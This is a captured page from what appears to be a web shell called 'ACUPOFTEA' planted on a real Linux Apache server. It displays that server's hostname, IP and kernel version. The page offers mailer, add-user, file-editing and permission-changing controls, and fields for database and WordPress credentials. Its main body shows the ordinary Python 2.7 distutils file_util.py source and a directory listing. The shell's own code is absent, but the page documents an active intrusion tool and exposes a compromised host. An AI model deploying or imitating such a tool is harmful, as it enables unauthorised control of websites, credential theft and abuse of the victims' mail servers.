System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
distutils
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
file_util.py
"""distutils.file_util Utility functions for operating on single files. """ __revision__ = "$Id$" import os from distutils.errors import DistutilsFileError from distutils import log # for generating verbose output in 'copy_file()' _copy_action = {None: 'copying', 'hard': 'hard linking', 'sym': 'symbolically linking'} def _copy_file_contents(src, dst, buffer_size=16*1024): """Copy the file 'src' to 'dst'. Both must be filenames. Any error opening either file, reading from 'src', or writing to 'dst', raises DistutilsFileError. Data is read/written in chunks of 'buffer_size' bytes (default 16k). No attempt is made to handle anything apart from regular files. """ # Stolen from shutil module in the standard library, but with # custom error-handling added. fsrc = None fdst = None try: try: fsrc = open(src, 'rb') except os.error, (errno, errstr): raise DistutilsFileError("could not open '%s': %s" % (src, errstr)) if os.path.exists(dst): try: os.unlink(dst) except os.error, (errno, errstr): raise DistutilsFileError( "could not delete '%s': %s" % (dst, errstr)) try: fdst = open(dst, 'wb') except os.error, (errno, errstr): raise DistutilsFileError( "could not create '%s': %s" % (dst, errstr)) while 1: try: buf = fsrc.read(buffer_size) except os.error, (errno, errstr): raise DistutilsFileError( "could not read from '%s': %s" % (src, errstr)) if not buf: break try: fdst.write(buf) except os.error, (errno, errstr): raise DistutilsFileError( "could not write to '%s': %s" % (dst, errstr)) finally: if fdst: fdst.close() if fsrc: fsrc.close() def copy_file(src, dst, preserve_mode=1, preserve_times=1, update=0, link=None, verbose=1, dry_run=0): """Copy a file 'src' to 'dst'. If 'dst' is a directory, then 'src' is copied there with the same name; otherwise, it must be a filename. (If the file exists, it will be ruthlessly clobbered.) If 'preserve_mode' is true (the default), the file's mode (type and permission bits, or whatever is analogous on the current platform) is copied. If 'preserve_times' is true (the default), the last-modified and last-access times are copied as well. If 'update' is true, 'src' will only be copied if 'dst' does not exist, or if 'dst' does exist but is older than 'src'. 'link' allows you to make hard links (os.link) or symbolic links (os.symlink) instead of copying: set it to "hard" or "sym"; if it is None (the default), files are copied. Don't set 'link' on systems that don't support it: 'copy_file()' doesn't check if hard or symbolic linking is available. If hardlink fails, falls back to _copy_file_contents(). Under Mac OS, uses the native file copy function in macostools; on other systems, uses '_copy_file_contents()' to copy file contents. Return a tuple (dest_name, copied): 'dest_name' is the actual name of the output file, and 'copied' is true if the file was copied (or would have been copied, if 'dry_run' true). """ # XXX if the destination file already exists, we clobber it if # copying, but blow up if linking. Hmmm. And I don't know what # macostools.copyfile() does. Should definitely be consistent, and # should probably blow up if destination exists and we would be # changing it (ie. it's not already a hard/soft link to src OR # (not update) and (src newer than dst). from distutils.dep_util import newer from stat import ST_ATIME, ST_MTIME, ST_MODE, S_IMODE if not os.path.isfile(src): raise DistutilsFileError( "can't copy '%s': doesn't exist or not a regular file" % src) if os.path.isdir(dst): dir = dst dst = os.path.join(dst, os.path.basename(src)) else: dir = os.path.dirname(dst) if update and not newer(src, dst): if verbose >= 1: log.debug("not copying %s (output up-to-date)", src) return dst, 0 try: action = _copy_action[link] except KeyError: raise ValueError("invalid value '%s' for 'link' argument" % link) if verbose >= 1: if os.path.basename(dst) == os.path.basename(src): log.info("%s %s -> %s", action, src, dir) else: log.info("%s %s -> %s", action, src, dst) if dry_run: return (dst, 1) # If linking (hard or symbolic), use the appropriate system call # (Unix only, of course, but that's the caller's responsibility) if link == 'hard': if not (os.path.exists(dst) and os.path.samefile(src, dst)): try: os.link(src, dst) return (dst, 1) except OSError: # If hard linking fails, fall back on copying file # (some special filesystems don't support hard linking # even under Unix, see issue #8876). pass elif link == 'sym': if not (os.path.exists(dst) and os.path.samefile(src, dst)): os.symlink(src, dst) return (dst, 1) # Otherwise (non-Mac, not linking), copy the file contents and # (optionally) copy the times and mode. _copy_file_contents(src, dst) if preserve_mode or preserve_times: st = os.stat(src) # According to David Ascher <da@ski.org>, utime() should be done # before chmod() (at least under NT). if preserve_times: os.utime(dst, (st[ST_ATIME], st[ST_MTIME])) if preserve_mode: os.chmod(dst, S_IMODE(st[ST_MODE])) return (dst, 1) # XXX I suspect this is Unix-specific -- need porting help! def move_file (src, dst, verbose=1, dry_run=0): """Move a file 'src' to 'dst'. If 'dst' is a directory, the file will be moved into it with the same name; otherwise, 'src' is just renamed to 'dst'. Return the new full name of the file. Handles cross-device moves on Unix using 'copy_file()'. What about other systems??? """ from os.path import exists, isfile, isdir, basename, dirname import errno if verbose >= 1: log.info("moving %s -> %s", src, dst) if dry_run: return dst if not isfile(src): raise DistutilsFileError("can't move '%s': not a regular file" % src) if isdir(dst): dst = os.path.join(dst, basename(src)) elif exists(dst): raise DistutilsFileError( "can't move '%s': destination '%s' already exists" % (src, dst)) if not isdir(dirname(dst)): raise DistutilsFileError( "can't move '%s': destination '%s' not a valid path" % \ (src, dst)) copy_it = 0 try: os.rename(src, dst) except os.error, (num, msg): if num == errno.EXDEV: copy_it = 1 else: raise DistutilsFileError( "couldn't move '%s' to '%s': %s" % (src, dst, msg)) if copy_it: copy_file(src, dst, verbose=verbose) try: os.unlink(src) except os.error, (num, msg): try: os.unlink(dst) except os.error: pass raise DistutilsFileError( ("couldn't move '%s' to '%s' by copy/delete: " + "delete '%s' failed: %s") % (src, dst, src, msg)) return dst def write_file (filename, contents): """Create a file with the specified name and write 'contents' (a sequence of strings without line terminators) to it. """ f = open(filename, "w") try: for line in contents: f.write(line + "\n") finally: f.close()
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
..
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
command
DIR
-
drwxr-xr-x
2024-06-24 12:45:06
README
text/plain
295 B
-rw-r--r--
2024-04-10 04:58:35
__init__.py
text/plain
236 B
-rw-r--r--
2024-04-10 04:58:35
__init__.pyc
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
__init__.pyo
application/octet-stream
415 B
-rw-r--r--
2024-04-10 04:58:46
archive_util.py
text/x-python
8.03 KB
-rw-r--r--
2024-04-10 04:58:35
archive_util.pyc
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
archive_util.pyo
application/octet-stream
7.42 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.py
text/x-python
14.59 KB
-rw-r--r--
2024-04-10 04:58:35
bcppcompiler.pyc
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
bcppcompiler.pyo
application/octet-stream
7.7 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.py
text/x-python
45.63 KB
-rw-r--r--
2024-04-10 04:58:35
ccompiler.pyc
application/octet-stream
36.02 KB
-rw-r--r--
2024-04-10 04:58:46
ccompiler.pyo
application/octet-stream
35.88 KB
-rw-r--r--
2024-04-10 04:58:44
cmd.py
text/x-python
18.82 KB
-rw-r--r--
2024-04-10 04:58:35
cmd.pyc
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
cmd.pyo
application/octet-stream
16.41 KB
-rw-r--r--
2024-04-10 04:58:46
config.py
text/x-python
4.04 KB
-rw-r--r--
2024-04-10 04:58:35
config.pyc
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
config.pyo
application/octet-stream
3.48 KB
-rw-r--r--
2024-04-10 04:58:46
core.py
text/x-python
8.81 KB
-rw-r--r--
2024-04-10 04:58:35
core.pyc
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
core.pyo
application/octet-stream
7.36 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.py
text/x-python
17.32 KB
-rw-r--r--
2024-04-10 04:58:35
cygwinccompiler.pyc
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
cygwinccompiler.pyo
application/octet-stream
9.59 KB
-rw-r--r--
2024-04-10 04:58:46
debug.py
text/plain
162 B
-rw-r--r--
2024-04-10 04:58:35
debug.pyc
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
debug.pyo
application/octet-stream
254 B
-rw-r--r--
2024-04-10 04:58:46
dep_util.py
text/x-python
3.43 KB
-rw-r--r--
2024-04-10 04:58:35
dep_util.pyc
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dep_util.pyo
application/octet-stream
3.11 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.py
text/x-python
7.68 KB
-rw-r--r--
2024-04-10 04:58:35
dir_util.pyc
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dir_util.pyo
application/octet-stream
6.63 KB
-rw-r--r--
2024-04-10 04:58:46
dist.py
text/x-python
48.88 KB
-rw-r--r--
2024-04-10 04:58:35
dist.pyc
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
dist.pyo
application/octet-stream
38.26 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.py
text/x-python
11.65 KB
-rw-r--r--
2024-04-10 04:58:35
emxccompiler.pyc
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
emxccompiler.pyo
application/octet-stream
7.29 KB
-rw-r--r--
2024-04-10 04:58:46
errors.py
text/plain
3.41 KB
-rw-r--r--
2024-04-10 04:58:35
errors.pyc
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
errors.pyo
application/octet-stream
6.14 KB
-rw-r--r--
2024-04-10 04:58:46
extension.py
text/x-python
10.65 KB
-rw-r--r--
2024-04-10 04:58:35
extension.pyc
application/octet-stream
7.24 KB
-rw-r--r--
2024-04-10 04:58:46
extension.pyo
application/octet-stream
7.02 KB
-rw-r--r--
2024-04-10 04:58:44
fancy_getopt.py
text/x-python
17.53 KB
-rw-r--r--
2024-04-10 04:58:35
fancy_getopt.pyc
application/octet-stream
11.68 KB
-rw-r--r--
2024-04-10 04:58:46
fancy_getopt.pyo
application/octet-stream
11.5 KB
-rw-r--r--
2024-04-10 04:58:44
file_util.py
text/x-python
7.94 KB
-rw-r--r--
2024-04-10 04:58:35
file_util.pyc
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
file_util.pyo
application/octet-stream
6.59 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.py
text/x-python
12.39 KB
-rw-r--r--
2024-04-10 04:58:35
filelist.pyc
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
filelist.pyo
application/octet-stream
10.5 KB
-rw-r--r--
2024-04-10 04:58:46
log.py
text/plain
1.65 KB
-rw-r--r--
2024-04-10 04:58:35
log.pyc
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
log.pyo
application/octet-stream
2.72 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.py
text/x-python
30.28 KB
-rw-r--r--
2024-04-10 04:58:35
msvc9compiler.pyc
application/octet-stream
20.99 KB
-rw-r--r--
2024-04-10 04:58:46
msvc9compiler.pyo
application/octet-stream
20.92 KB
-rw-r--r--
2024-04-10 04:58:44
msvccompiler.py
text/x-python
23.08 KB
-rw-r--r--
2024-04-10 04:58:35
msvccompiler.pyc
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
msvccompiler.pyo
application/octet-stream
17.11 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.py
text/x-python
8.45 KB
-rw-r--r--
2024-04-10 04:58:35
spawn.pyc
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
spawn.pyo
application/octet-stream
6.28 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.py
text/x-python
17.29 KB
-rw-r--r--
2024-04-10 04:58:41
sysconfig.py.debug-build
text/x-python
17.21 KB
-rw-r--r--
2024-04-10 04:58:35
sysconfig.pyc
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
sysconfig.pyo
application/octet-stream
13.09 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.py
text/plain
12.14 KB
-rw-r--r--
2024-04-10 04:58:35
text_file.pyc
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
text_file.pyo
application/octet-stream
9.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.py
text/x-python
13.89 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.py.distutils-rpath
text/x-python
13.36 KB
-rw-r--r--
2024-04-10 04:58:35
unixccompiler.pyc
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
unixccompiler.pyo
application/octet-stream
8.04 KB
-rw-r--r--
2024-04-10 04:58:46
util.py
text/x-python
17.81 KB
-rw-r--r--
2024-04-10 04:58:35
util.pyc
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
util.pyo
application/octet-stream
14.05 KB
-rw-r--r--
2024-04-10 04:58:46
version.py
text/x-python
11.17 KB
-rw-r--r--
2024-04-10 04:58:35
version.pyc
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
version.pyo
application/octet-stream
7.04 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.py
text/plain
4.98 KB
-rw-r--r--
2024-04-10 04:58:35
versionpredicate.pyc
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
versionpredicate.pyo
application/octet-stream
5.41 KB
-rw-r--r--
2024-04-10 04:58:46
~ ACUPOFTEA - mail.ontime-ae.com